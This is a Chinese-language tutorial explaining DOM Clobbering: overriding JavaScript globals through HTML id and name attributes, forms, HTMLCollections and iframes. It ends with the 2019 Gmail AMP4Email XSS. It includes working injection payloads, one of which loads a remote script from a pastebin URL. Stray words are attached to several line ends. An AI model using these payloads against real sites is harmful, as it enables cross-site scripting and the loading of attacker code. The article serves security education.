作爲一個前端程序猿,確定應該知道不少與前端相關的知識,像是 HTML 或是 JS 相關的東西,但這些一般都與「使用」有關。例如說我知道寫 HTML 的時候要語義化,要使用正確的標籤;我知道 JS 應該要怎麼用。但是有些知識雖然也跟網頁有關,卻不是前端程序員常常接觸的。html
所謂的「有些知識」指的實際上是信息安全相關的知識。有些在信息安全裏常見的觀念,雖然跟網頁有關,對咱們來講卻不太熟悉,而我認爲理解這些實際上是很重要的。由於你必須懂得怎麼攻擊才能防護,要先知道攻擊手法跟原理,才知道該怎麼防範。前端
在正式開始以前,先給你們一個小題目練練手。html5
假設有一段代碼,有一個按鈕以及一段 js 腳本,以下所示:git
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <body> <button id="btn">click me</button> <script> // TODO: add click event listener to button </script> </body> </html>
如今請你用最短的代碼,實現出點擊按鈕時會跳出 alert(1)
這個功能。程序員
這樣寫:github
document.getElementById('btn') .addEventListener('click', () => { alert(1) })
那若是要讓代碼最短,你的答案會是什麼?web
在繼續以前先想一下,想好以後再往下看。面試
.
.
.
.
.
.
.
.
.segmentfault
你知道 DOM 裏面的東西,有可能影響到 window 嗎?api
就是你在 HTML 裏面設定一個有 id 的元素以後,在 JS 中就能夠直接操做:
<button id="btn">click me</button> <script> console.log(window.btn) // <button id="btn">click me</button> </script>
因爲 JS 的做用域規則,你就算直接用 btn
也能夠,由於在當前的做用域找不到時就會往上找,一路找到 window
。
因此前面那道題的答案是:
btn.onclick = () => alert(1)
不須要 getElementById
,也不須要 querySelector
,只要直接用與 id
同名的變量去拿,就能獲得。應該不會有比這個更短的代碼了(有的話歡迎留言打臉)
而這個行爲在 HTML 的說明文檔中是有明肯定義的,在 7.3.3 Named access on the Window object:
節選兩個重點:
- the value of the name content attribute for all
embed
,form
,img
, andobject
elements that have a non-empty name content attribute- the value of the
id
content attribute for all HTML elements that have a non-empty id content attribute
也就是說除了 id
能夠直接用 window
存取到之外,embed
, form
, img
和 object
這四個標籤用 name
也能夠操做:
<embed name="a"></embed> <form name="b"></form> <img name="c" /> <object name="d"></object>
可是知道這個有什麼用呢?有,理解這個規則以後,能夠得出一個結論:
咱們是有機會經過 HTML 元素來影響 JS 的!
而把這個手法用在攻擊上,就是標題的 DOM Clobbering。之前是由於這個攻擊手段才第一次知道 clobbering 這個單詞的,查了一下發如今計算機專業領域中有覆蓋的意思,就是經過 DOM 把一些東西覆蓋掉來達到攻擊的手段。
那在什麼場景之下有機會用 DOM Clobbering 攻擊呢?
首先必須有機會在頁面上顯示你本身的 HTML,不然就沒有辦法了。因此一個能夠攻擊的場景多是這樣:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <body> <h1>留言板</h1> <div> 你的留言:Hello World! </div> <script> if (window.TEST_MODE) { // load test script var script = document.createElement('script') script.src = window.TEST_SCRIPT_SRC document.body.appendChild(script) } </script> </body> </html>
假設有一個留言板,你能夠輸入任意內容,可是你的輸入在服務端會作一些處理(例如用DOMPurify 之類的庫),把全部能夠執行 JavaScript 的東西都過濾掉,因此 <script></script>
會被刪掉,<img src=x onerror=alert(1)>
的 onerror
會被去掉,還有許多 XSS payload 也都被幹掉。
簡而言之,你沒辦法執行 JavaScript 來進行 XSS 攻擊,由於這些都被過濾掉了。
可是由於種種因素,並不會過濾掉 HTML 標籤,因此你能夠作的事情是顯示自定義的 HTML。只要沒有執行 JS,你想要插入什麼 HTML 標籤,設置什麼屬性均可以。
因此就能夠這樣作:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <body> <h1>留言板</h1> <div> 你的留言:<div id="TEST_MODE"></div> <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a> </div> <script> if (window.TEST_MODE) { // load test script var script = document.createElement('script') script.src = window.TEST_SCRIPT_SRC document.body.appendChild(script) } </script> </body> </html>
根據咱們上面所學到到的知識,能夠插入一個 id
是 TEST_MODE
的標籤 <div id="TEST_MODE"></div>
,這樣底下 JS 的 if (window.TEST_MODE)
就會過關,由於 window.TEST_MODE
是這個 div 元素。
還有咱們能夠用 <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
讓 window.TEST_SCRIPT_SRC
轉成字符串以後變成咱們想要的內容。
在不少情況下,只是把一個變量覆蓋成 HTML 元素是不夠的,好比你把上面那段代碼當中的 window.TEST_MODE
轉成字符串打印出來:
// <div id="TEST_MODE" /> console.log(window.TEST_MODE + '')
結果會是:[object HTMLDivElement]
。
把一個 HTML 元素轉成字符串就會變成這種形式,若是是這樣的話那基本上沒辦法利用。但幸虧在 HTML 裏面有兩個元素在 toString
時會作特殊處理:<base>
和 <a>
:
來源:4.6.3 API for a and area elements
這兩個元素在 toString
的時候會返回 URL,而咱們能夠經過 href
屬性來設置 URL,這樣就能夠作到讓 toString
以後的內容可控。
因此綜合以上手法,咱們學廢了:
id
屬性影響 JS 變量a
搭配 href
以及 id
讓元素 toString
以後變成咱們想要的值經過上面這兩個手段再配合適當的場景,就有機會利用 DOM Clobbering 來進行攻擊。
不過在這裏要注意,若是你想攻擊的變量已經存在的話,你用 DOM 是覆蓋不掉的,例如:
<!DOCTYPE html> <html> <head> <script> TEST_MODE = 1 </script> </head> <body> <div id="TEST_MODE"></div> <script> console.log(window.TEST_MODE) // 1 </script> </body> </html>
在前面的例子中,咱們用 DOM 把 window.TEST_MODE
蓋掉,製造出未預期的行爲。若是要蓋掉的對象是個對象那有機會嗎?
例如 window.config.isTest
也能夠用 DOM clobbering 蓋掉嗎?
有幾種方法,第一種是利用 HTML 標籤的層級關係,具備這樣特性的是 form
表單:
在 HTML 的 說明 中有這樣一段:
能夠利用 form[name]
或是 form[id]
取它底下的元素,例如:
<!DOCTYPE html> <html> <body> <form id="config"> <input name="isTest" /> <button id="isProd"></button> </form> <script> console.log(config) // <form id="config"> console.log(config.isTest) // <input name="isTest" /> console.log(config.isProd) // <button id="isProd"></button> </script> </body> </html>
如此一來就能夠構造出兩層的 DOM clobbering。不過要注意,那就是這裏沒有 a
可用,因此 toString
以後都會沒辦法利用。
可是比較有可能利用的機會是,當你要覆蓋的東西是用 value
存取的時候,例如:config.enviroment.value
,就能夠利用 input
的 value
屬性作覆蓋:
<!DOCTYPE html> <html> <body> <form id="config"> <input name="enviroment" value="test" /> </form> <script> console.log(config.enviroment.value) // test </script> </body> </html>
簡單來講就是隻有那些內置的屬性能夠覆蓋,其餘是沒有辦法的。
除了利用 HTML 自己的層級之外,還能夠利用另一個特性:HTMLCollection。
在咱們前面看到的關於 Named access on the Window object
說明文檔中,決定值是什麼的段落是這樣寫的:
若是要返回的東西有多個,就返回 HTMLCollection。
<!DOCTYPE html> <html> <body> <a id="config"></a> <a id="config"></a> <script> console.log(config) // HTMLCollection(2) </script> </body> </html>
那有了 HTMLCollection 以後能夠作什麼呢?在 4.2.10.2. Interface HTMLCollection 中提到,能夠利用 name
或是 id
去拿 HTMLCollection 裏面的元素。
像這樣:
<!DOCTYPE html> <html> <body> <a id="config"></a> <a id="config" name="apiUrl" href="https://huli.tw"></a> <script> console.log(config.apiUrl + '') // https://huli.tw </script> </body> </html>
就能夠經過同名的 id
產生出 HTMLCollection,再用 name
來獲得 HTMLCollection 的特定元素,同樣能夠達到兩層的效果。
而若是把 form
跟 HTMLCollection 結合在一塊兒,就可以作到三層:
<!DOCTYPE html> <html> <body> <form id="config"></form> <form id="config" name="prod"> <input name="apiUrl" value="123" /> </form> <script> console.log(config.prod.apiUrl.value) //123 </script> </body> </html>
先利用同名的 id
,讓 config
能夠拿到 HTMLCollection,再來用 config.prod
就能夠拿到 HTMLCollection 中 name
是 prod
的元素,也就是那個 form
,接著就是 form.apiUrl
拿到表單底下的 input
,最後用 value
拿到裏面的屬性。
因此若是最後要拿的屬性是 HTML 的屬性,就能夠四層,不然的話就只能三層。
前面提到三層或是有條件的四層已是極限了,那麼還有沒有其餘方法再突破限制呢?
根據 DOM Clobbering strikes back 裏面給的作法,有,利用 iframe
就能夠作到。
當你建立了一個iframe
並給它一個 name
時,用這個 name
就能夠指到 iframe
裏面的 window
,因此能夠這樣:
<!DOCTYPE html> <html> <body> <iframe name="config" srcdoc=' <a id="apiUrl"></a> '></iframe> <script> setTimeout(() => { console.log(config.apiUrl) // <a id="apiUrl"></a> }, 500) </script> </body> </html>
這裏之因此會須要 setTimeout
是由於 iframe
並非同步載入的,因此須要一些時間才能正確拿到 iframe
裏的東西。
有了 iframe
的幫助以後,就能夠創造出更多層級:
<!DOCTYPE html> <html> <body> <iframe name="moreLevel" srcdoc=' <form id="config"></form> <form id="config" name="prod"> <input name="apiUrl" value="123" /> </form> '></iframe> <script> setTimeout(() => { console.log(moreLevel.config.prod.apiUrl.value) //123 }, 500) </script> </body> </html>
理論上能夠在 iframe
裏再套一個 iframe
,能夠作到無限層級的 DOM clobbering,不過我嘗試了一下發現可能有點編碼上的問題,例如像這樣:
<!DOCTYPE html> <html> <body> <iframe name="level1" srcdoc=' <iframe name="level2" srcdoc=" <iframe name="level3"></iframe> "></iframe> '></iframe> <script> setTimeout(() => { console.log(level1.level2.level3) // undefined }, 500) </script> </body> </html>
打印出來會是 undefined
,但若是把 level3
的那對雙引號拿掉,直接寫成 name=level3
就能夠成功打印出內容,我猜是由於單引號雙引號的一些解析問題形成的,目前還沒找到什麼解決方法,只嘗試了這樣是可行的,可是再往下就出錯了:
<!DOCTYPE html> <html> <body> <iframe name="level1" srcdoc=" <iframe name="level2" srcdoc=" <iframe name='level3' srcdoc=' <iframe name=level4></iframe> '></iframe> "></iframe> "></iframe> <script> setTimeout(() => { console.log(level1.level2.level3.level4) }, 500) </script> </body> </html>
但實際上應該不會用到這麼深的層級,因此四層最多五層就夠用了。
2019 年 Gmail 有一個漏洞就是經過 DOM clobbering 來攻擊的,完整的分析在這裏:XSS in GMail’s AMP4Email via DOM Clobbering,下面簡單講一下過程(部份內容取材自這篇文章)。
簡單來講在 Gmail 裏你可使用部分 AMP 的功能,而後 Google 針對這個格式的驗證很嚴謹,因此沒有辦法用通常的方法進行 XSS。
可是有人發現能夠在 HTML 元素上面設置 id,又發現當他設置了一個 <a id="AMP_MODE">
以後,控制檯忽然出現一個載入腳本的錯誤,並且網址中的其中一段是 undefined
。仔細去研究代碼以後,有一段代碼大概是這樣的:
var script = window.document.createElement("script"); script.async = false; var loc; if (AMP_MODE.test && window.testLocation) { loc = window.testLocation } else { loc = window.location; } if (AMP_MODE.localDev) { loc = loc.protocol + "//" + loc.host + "/dist" } else { loc = "https://cdn.ampproject.org"; } var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : ""; b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js"; document.head.appendChild(b);
若是能讓 AMP_MODE.test
和 AMP_MODE.localDev
都是真值的話,再配合設置 window.testLocation
,就能載入任意的腳本。
因此攻擊代碼會相似這樣:
// 讓 AMP_MODE.test 和 AMP_MODE.localDev 有內容 <a id="AMP_MODE" name="localDev"></a> <a id="AMP_MODE" name="test"></a> // 設置 testLocation.protocol <a id="testLocation"></a> <a id="testLocation" name="protocol" href="https://pastebin.com/raw/0tn8z0rG#"></a>
最後就能成功載入任意腳本,進而進行 XSS!(不過當初做者只嘗試到這一步就被 CSP 攔住了)。
這應該是 DOM Clobbering 最著名的案例之一了。
雖然 DOM Clobbering 的使用場景有限,倒是一個至關有趣的攻擊手段!並且若是你不知道這個特性的話,可能徹底沒想過能夠經過 HTML 來影響全局變量的內容。
若是對這個攻擊手法有興趣的,能夠參考 PortSwigger 的文章,裏面提供了兩個實驗讓你們親自嘗試這個攻擊手段,光看是沒用的,要實際下去操做一下才能體會。